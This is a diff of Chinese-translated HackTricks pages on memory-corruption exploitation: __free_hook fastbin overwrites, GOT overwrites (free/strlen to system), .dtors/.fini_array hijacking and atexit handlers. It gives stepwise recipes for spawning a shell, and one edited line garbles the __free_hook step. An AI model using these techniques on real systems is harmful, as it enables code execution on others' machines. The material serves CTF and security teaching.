0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
|
||||
</code></pre>
|
||||
- 如果我们成功在此位置获得大小为0x200的快速块,就可以覆盖一个将被执行的函数指针
|
||||
- 为此,创建一个大小为`0xfc`的新块,并使用该指针两次调用合并函数,这样我们就可以获得一个指向已释放大小为`0xfc*2 = 0x1f8`的快速块的指针。
|
||||
0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200
|
||||
0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000
|
||||
0x7ff1e9e6076f <list_all_lock+15>: 0x0000000000000000 0x0000000000000000
|
||||
0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
|
||||
```
|
||||
- 如果我们成功在这个位置获得大小为0x200的快速块,就可以覆盖一个将被执行的函数指针
|
||||
- 为此,创建一个大小为`0xfc`的新块,并使用该指针两次调用合并函数,这样我们就可以获得一个指向大小为`0xfc*2 = 0x1f8`的已释放块的指针。
|
||||
- 然后,在这个块中调用编辑函数,将这个快速块的**`fd`**地址修改为指向之前的**`__free_hook`**函数。
|
||||
- 接着,创建一个大小为`0x1f8`的块,从快速块中检索之前无用的块,然后创建一个大小为`0x1f8`的块,以在**`__free_hook`**中获取一个快速块块,将其覆盖为**`system`**函数的地址。
|
||||
- 最后,释放一个包含字符串`/bin/sh\x00`的块,调用删除函数,触发指向带有`/bin/sh\x00`参数的**`system`**函数的**`__free_hook`**函数。
|
||||
- 接着,创建一个大小为`0x1f8`的块,从快速bin中检索之前无用的块,然后再创建一个大小为`0x1f8`的块,以在**`__free_hook`**中获取一个快速bin块,将其覆盖为**`system`**函数的地址。
|
||||
- 最后,释放一个包含字符串`/bin/sh\x00`的块,调用删除函数,触发指向带有`/bin/sh\x00`参数的**`__free_hook`**函数。
|
||||
|
||||
## 参考资料
|
||||
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
|
||||
* [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF版本的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注**我们。
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
|
||||
- [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
|
||||
|
|
|
@ -1,76 +1,77 @@
|
|||
# WWW2Exec - GOT/PLT
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP Hacking:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中被广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## **基本信息**
|
||||
|
||||
### **GOT:全局偏移表**
|
||||
|
||||
**全局偏移表(GOT)**是在动态链接二进制文件中使用的机制,用于管理**外部函数的地址**。由于这些**地址直到运行时才知道**(由于动态链接),GOT提供了一种在解析这些外部符号后**动态更新这些地址**的方法。
|
||||
**全局偏移表 (GOT)** 是在动态链接二进制文件中使用的机制,用于管理**外部函数的地址**。由于这些**地址直到运行时才知道**(由于动态链接),GOT 提供了一种在这些外部符号解析后**动态更新这些地址**的方法。
|
||||
|
||||
GOT中的每个条目对应于二进制文件可能调用的外部库中的一个符号。当**首次调用函数时,动态链接器会解析其实际地址并将其存储在GOT中**。随后对同一函数的调用使用GOT中存储的地址,从而避免再次解析地址的开销。
|
||||
GOT 中的每个条目对应于二进制文件可能调用的外部库中的一个符号。当**首次调用函数时,动态链接器会解析其实际地址并将其存储在 GOT 中**。对同一函数的后续调用使用存储在 GOT 中的地址,从而避免再次解析地址的开销。
|
||||
|
||||
### **PLT:过程链接表**
|
||||
|
||||
**过程链接表(PLT)**与GOT密切配合,作为处理对外部函数的调用的跳板。当二进制文件**首次调用外部函数时,控制会传递到与该函数相关联的PLT条目**。此PLT条目负责调用动态链接器以解析函数的地址(如果尚未解析)。地址解析后,将其存储在**GOT**中。
|
||||
**过程链接表 (PLT)** 与 GOT 密切配合,作为处理对外部函数的调用的跳板。当二进制文件**首次调用外部函数时,控制会传递到与该函数关联的 PLT 条目**。此 PLT 条目负责调用动态链接器以解析函数的地址(如果尚未解析)。地址解析后,将其存储在**GOT** 中。
|
||||
|
||||
**因此**,一旦解析外部函数或变量的地址,就直接使用GOT条目。**PLT条目用于通过动态链接器**便于这些地址的初始解析。
|
||||
**因此**,一旦解析外部函数或变量的地址,就直接使用 GOT 条目。**PLT 条目用于通过动态链接器**便于这些地址的初始解析。
|
||||
|
||||
## 获取执行
|
||||
|
||||
### 检查GOT
|
||||
### 检查 GOT
|
||||
|
||||
使用以下命令获取GOT表的地址:**`objdump -s -j .got ./exec`**
|
||||
使用以下命令获取 GOT 表的地址:**`objdump -s -j .got ./exec`**
|
||||
|
||||
![](<../../.gitbook/assets/image (121).png>)
|
||||
|
||||
在GEF中**加载**可执行文件后,您可以**查看**GOT中的**函数**:`gef➤ x/20x 0xADDR_GOT`
|
||||
观察在 GEF 中**加载**可执行文件后,可以**看到**在**GOT** 中的**函数**:`gef➤ x/20x 0xADDR_GOT`
|
||||
|
||||
![](<../../.gitbook/assets/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>)
|
||||
|
||||
使用GEF,您可以**开始**调试会话并执行**`got`**以查看got表:
|
||||
使用 GEF,您可以**开始**一个**调试**会话并执行**`got`**以查看 got 表:
|
||||
|
||||
![](<../../.gitbook/assets/image (496).png>)
|
||||
|
||||
### GOT2Exec
|
||||
|
||||
在二进制文件中,GOT中有**函数的地址或**将加载函数地址的**PLT**部分。此任意写入的目标是**覆盖将稍后执行的函数的GOT条目**,使其指向**`system`**函数的**PLT地址**。
|
||||
在二进制文件中,GOT 具有**函数的地址或**将加载函数地址的**PLT** 部分的地址。此任意写入的目标是**覆盖将稍后执行的函数的 GOT 条目**,例如,使用**`system`** **函数**的**PLT** 的地址。
|
||||
|
||||
理想情况下,您将**覆盖**将由您控制参数调用的**将要调用的函数的GOT**(因此您将能够控制发送到system函数的参数)。
|
||||
理想情况下,您将**覆盖**将由您控制参数调用的**函数**的**GOT**(因此,您将能够控制发送到系统函数的参数)。
|
||||
|
||||
如果二进制文件**未使用**`system`**,则系统函数**将不会在PLT中有一个条目。在这种情况下,您将**需要首先泄漏**`system`函数的地址,然后覆盖GOT以指向此地址。
|
||||
如果二进制文件**未使用** **`system`**,则系统函数**将不会**在 PLT 中具有条目。在这种情况下,您将**需要首先泄漏**`system` 函数的地址,然后覆盖 GOT 以指向此地址。
|
||||
|
||||
您可以使用**`objdump -j .plt -d ./vuln_binary`**查看PLT地址。
|
||||
您可以使用**`objdump -j .plt -d ./vuln_binary`** 查看 PLT 地址。
|
||||
|
||||
## libc GOT条目
|
||||
## libc GOT 条目
|
||||
|
||||
**libc的GOT**通常使用**部分RELRO**编译,如果可能找出其地址([**ASLR**](../common-binary-protections-and-bypasses/aslr/)),则成为一个很好的目标。
|
||||
**libc 的 GOT** 通常使用**部分 RELRO** 编译,这使得它成为一个很好的目标,假设可以找出其地址([**ASLR**](../common-binary-protections-and-bypasses/aslr/))。
|
||||
|
||||
libc的常见函数将调用**其他内部函数**,它们的GOT可以被覆盖以获取代码执行。
|
||||
libc 的常见函数将调用**其他内部函数**,这些函数的 GOT 可能会被覆盖以获取代码执行。
|
||||
|
||||
在[**此处找到有关此技术的更多信息**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries)。
|
||||
|
||||
## **Free2system**
|
||||
### **Free2system**
|
||||
|
||||
在堆利用CTF中,通常可以控制块的内容,甚至在某个时刻覆盖GOT表。如果没有可用的one gadgets,一个简单的技巧是将`free`的GOT地址覆盖为`system`,并在一个块中写入`"/bin/sh"`。这样,当释放此块时,将执行`system("/bin/sh")`。
|
||||
在堆利用 CTF 中,通常可以控制块的内容,甚至在某个时刻覆盖 GOT 表。如果没有可用的 one gadgets,一个简单的技巧是将 `free` 的 GOT 地址覆盖为 `system`,并在块内写入 `"/bin/sh"`。这样,当释放此块时,将执行 `system("/bin/sh")`。
|
||||
|
||||
## **Strlen2system**
|
||||
### **Strlen2system**
|
||||
|
||||
另一种常见技术是将**`strlen`**的GOT地址覆盖为**`system`**,因此如果使用用户输入调用此函数,可以传递字符串`"/bin/sh"`并获得shell。
|
||||
另一种常见技术是将**`strlen`** 的 GOT 地址覆盖为**`system`**,因此如果使用用户输入调用此函数,则可以传递字符串 `"/bin/sh"` 并获得 shell。
|
||||
|
||||
此外,如果使用用户输入调用`puts`,则可以将`puts`的GOT地址覆盖为`system`并传递字符串`"/bin/sh"`以获取shell,因为**`puts`将调用`strlen`处理用户输入**。
|
||||
此外,如果 `puts` 与用户输入一起使用,则可以将 `strlen` 的 GOT 地址覆盖为 `system` 并传递字符串 `"/bin/sh"` 以获取 shell,因为**`puts` 将使用用户输入调用 `strlen`**。
|
||||
|
||||
## **One Gadget**
|
||||
|
||||
|
@ -78,10 +79,10 @@ libc的常见函数将调用**其他内部函数**,它们的GOT可以被覆盖
|
|||
[one-gadget.md](../rop-return-oriented-programing/ret2lib/one-gadget.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## **从堆滥用GOT**
|
||||
## **从堆滥用 GOT**
|
||||
|
||||
从堆漏洞获取RCE的常见方法是滥用fastbin,以便将GOT表的一部分添加到fast bin中,因此每当分配该块时,将有可能**覆盖函数的指针,通常是`free`**。\
|
||||
然后,将`free`指向`system`,并释放写有`/bin/sh\x00`的块,将执行shell。
|
||||
从堆漏洞获取 RCE 的常见方法是滥用 fastbin,以便将 GOT 表的一部分添加到 fast bin 中,因此每当分配该块时,将有可能**覆盖函数指针,通常是 `free`**。\
|
||||
然后,将 `free` 指向 `system`,并释放写有 `/bin/sh\x00` 的块,将执行 shell。
|
||||
|
||||
可以在[**此处找到示例**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/chunk\_extend\_overlapping/#hitcon-trainging-lab13)**。**
|
||||
## **保护**
|
||||
|
@ -97,16 +98,17 @@ libc的常见函数将调用**其他内部函数**,它们的GOT可以被覆盖
|
|||
* [https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite)
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想在 HackTricks 中看到您的 **公司广告** 或 **下载 PDF 版本的 HackTricks**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索 [**PEASS Family**](https://opensea.io/collection/the-peass-family),我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# WWW2Exec - .dtors & .fini\_array
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github仓库提交PR来分享黑客技巧。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## .dtors
|
||||
|
||||
|
@ -20,15 +21,15 @@
|
|||
现在很**奇怪找到一个带有.dtors部分的二进制文件!**
|
||||
{% endhint %}
|
||||
|
||||
析构函数是在程序结束之前(在`main`函数返回后)**执行**的函数。\
|
||||
这些函数的地址存储在二进制文件的**`.dtors`**部分中,因此,如果您设法**将**一个**shellcode的地址**写入**`__DTOR_END__`**,那么它将在程序结束之前**执行**。
|
||||
析构函数是在程序结束之前(在`main`函数返回后)执行的函数。\
|
||||
这些函数的地址存储在二进制文件的**`.dtors`**部分中,因此,如果您设法**写入**一个**shellcode**的**地址**到**`__DTOR_END__`**,那么它将在程序结束之前**执行**。
|
||||
|
||||
使用以下命令获取此部分的地址:
|
||||
```bash
|
||||
objdump -s -j .dtors /exec
|
||||
rabin -s /exec | grep “__DTOR”
|
||||
```
|
||||
通常你会在值`ffffffff`和`00000000`之间找到**DTOR**标记。所以如果你只看到这些值,意味着**没有任何函数注册**。因此,**覆盖** **`00000000`** 为 **shellcode** 的地址以执行它。
|
||||
通常你会在值`ffffffff`和`00000000`之间找到**DTOR**标记。所以如果你只看到这些值,意味着**没有任何函数注册**。因此,**覆盖** **`00000000`**的地址为**shellcode**的地址以执行它。
|
||||
|
||||
{% hint style="warning" %}
|
||||
当然,你首先需要找到一个**存储shellcode的位置**,以便稍后调用它。
|
||||
|
@ -36,7 +37,7 @@ rabin -s /exec | grep “__DTOR”
|
|||
|
||||
## **.fini\_array**
|
||||
|
||||
基本上这是一个包含在程序结束前将被调用的**函数的结构**,就像**`.dtors`**一样。如果你可以通过**跳转到一个地址调用你的shellcode**,或者在需要**再次回到`main`**以**第二次利用漏洞**的情况下,这就变得很有趣。
|
||||
本质上,这是一个包含在程序完成之前将被调用的**函数的结构**,就像**`.dtors`**一样。如果你可以通过**跳转到一个地址调用你的shellcode**,或者在需要**再次回到`main`**以**第二次利用漏洞**的情况下,这就变得很有趣。
|
||||
```bash
|
||||
objdump -s -j .fini_array ./greeting
|
||||
|
||||
|
@ -47,33 +48,34 @@ Contents of section .fini_array:
|
|||
|
||||
#Put your address in 0x8049934
|
||||
```
|
||||
请注意,当执行**`.fini_array`**中的一个函数时,它会移动到下一个函数,因此它不会被执行多次(防止无限循环),但它也只会给你提供一个在这里放置的**函数执行**。
|
||||
请注意,当执行**`.fini_array`**中的一个函数时,它会移动到下一个函数,因此不会被多次执行(防止无限循环),但它也只会给你一个在这里放置的**函数执行**。
|
||||
|
||||
请注意,`.fini_array`中的条目是以**相反的**顺序调用的,因此您可能希望从最后一个开始编写。
|
||||
请注意,**`.fini_array`**中的条目是以**相反**顺序调用的,因此您可能希望从最后一个开始编写。
|
||||
|
||||
#### 永久循环
|
||||
#### 无限循环
|
||||
|
||||
为了滥用**`.fini_array`**以获得永久循环,您可以[**查看这里完成的工作**](https://guyinatuxedo.github.io/17-stack\_pivot/insomnihack18\_onewrite/index.html)**:** 如果**`.fini_array`**中至少有2个条目,您可以:
|
||||
为了滥用**`.fini_array`**以获得无限循环,您可以[**查看这里完成的操作**](https://guyinatuxedo.github.io/17-stack\_pivot/insomnihack18\_onewrite/index.html)**:** 如果**`.fini_array`**中至少有2个条目,您可以:
|
||||
|
||||
* 使用第一个写入来再次调用**易受攻击的任意写入函数**
|
||||
* 然后,在**`__libc_csu_fini`**(调用所有`.fini_array`函数的函数)中计算堆栈中存储的返回地址,并将**`__libc_csu_fini`**的地址放在那里
|
||||
* 这将使**`__libc_csu_fini`**再次调用自身,执行**`.fini_array`**函数,这将再次调用易受攻击的WWW函数2次:一次用于**任意写入**,另一次用于再次覆盖堆栈上**`__libc_csu_fini`**的返回地址以再次调用自身。
|
||||
* 然后,在**`__libc_csu_fini`**(调用所有`.fini_array`函数的函数)存储的堆栈中计算返回地址,并将**`__libc_csu_fini`**的地址放在那里
|
||||
* 这将使**`__libc_csu_fini`**再次调用自身,执行**`.fini_array`**函数,这将再次调用易受攻击的WWW函数2次:一次用于**任意写入**,另一次用于再次覆盖**`__libc_csu_fini`**的堆栈上的返回地址以再次调用自身。
|
||||
|
||||
{% hint style="danger" %}
|
||||
请注意,使用[**Full RELRO**](../common-binary-protections-and-bypasses/relro.md)**,**`.fini_array`**部分被设置为**只读**。
|
||||
在更新的版本中,即使使用[**Partial RELRO**],`.fini_array`**部分也被设置为**只读**。
|
||||
请注意,使用[**Full RELRO**](../common-binary-protections-and-bypasses/relro.md)**,**部分**`.fini_array`**部分被设置为**只读**。
|
||||
在更新版本中,即使使用[**Partial RELRO**],**`.fini_array`**部分也被设置为**只读**。
|
||||
{% endhint %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为英雄</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)的收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注**我们。
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们**。
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# WWW2Exec - atexit(), TLS Storage & 其他混淆指针
|
||||
# WWW2Exec - atexit(), TLS Storage & Other mangled Pointers
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS黑客:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP黑客:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
- 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
|
||||
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github仓库提交PR来分享黑客技巧。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## **\_\_atexit 结构**
|
||||
|
||||
|
@ -20,22 +21,22 @@
|
|||
现在很**奇怪去利用这个!**
|
||||
{% endhint %}
|
||||
|
||||
**`atexit()`** 是一个函数,**其他函数作为参数传递给它。** 这些**函数**将在执行**`exit()`**或**main**的**返回**时执行。\
|
||||
如果您可以**修改**这些**函数**中任何一个的**地址**,使其指向一个shellcode,那么您将**控制**该**进程**,但目前这更加复杂。\
|
||||
目前要执行的**函数地址**被隐藏在几个结构后面,最终指向的地址不是函数的地址,而是使用**XOR加密**和**随机密钥**进行位移。因此,目前这种攻击向量在至少在x86和x64\_86上**不太有用**。\
|
||||
**加密函数**是**`PTR_MANGLE`**。其他架构,如m68k、mips32、mips64、aarch64、arm、hppa... **不实现加密**函数,因为它**返回与输入相同**的内容。因此,这些架构可以通过这种向量进行攻击。
|
||||
**`atexit()`**是一个函数,**其他函数作为参数传递给它。** 这些**函数**将在执行**`exit()`**或**main**的**返回**时执行。\
|
||||
如果你可以**修改**其中任何一个**函数**的**地址**,使其指向一个shellcode,那么你将**控制**这个**进程**,但目前这更加复杂。\
|
||||
目前要执行的**函数的地址**被隐藏在几个结构后面,最终指向的地址不是函数的地址,而是**用XOR加密**和**随机密钥**进行位移。因此,目前这种攻击向量在**x86**和**x64\_86**上**不太有用**。\
|
||||
**加密函数**是**`PTR_MANGLE`**。其他架构,如m68k、mips32、mips64、aarch64、arm、hppa... **不实现加密**函数,因为它**返回**与输入相同的内容。因此,这些架构可以通过这种向量进行攻击。
|
||||
|
||||
您可以在[https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html](https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html)找到关于这个工作原理的深入解释。
|
||||
你可以在[https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html](https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html)找到关于这个工作原理的深入解释。
|
||||
|
||||
## link\_map
|
||||
|
||||
如[**此帖子**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link\_map-structure)中所述,如果程序使用`return`或`exit()`退出,它将运行`__run_exit_handlers()`,该函数将调用已注册的析构函数。
|
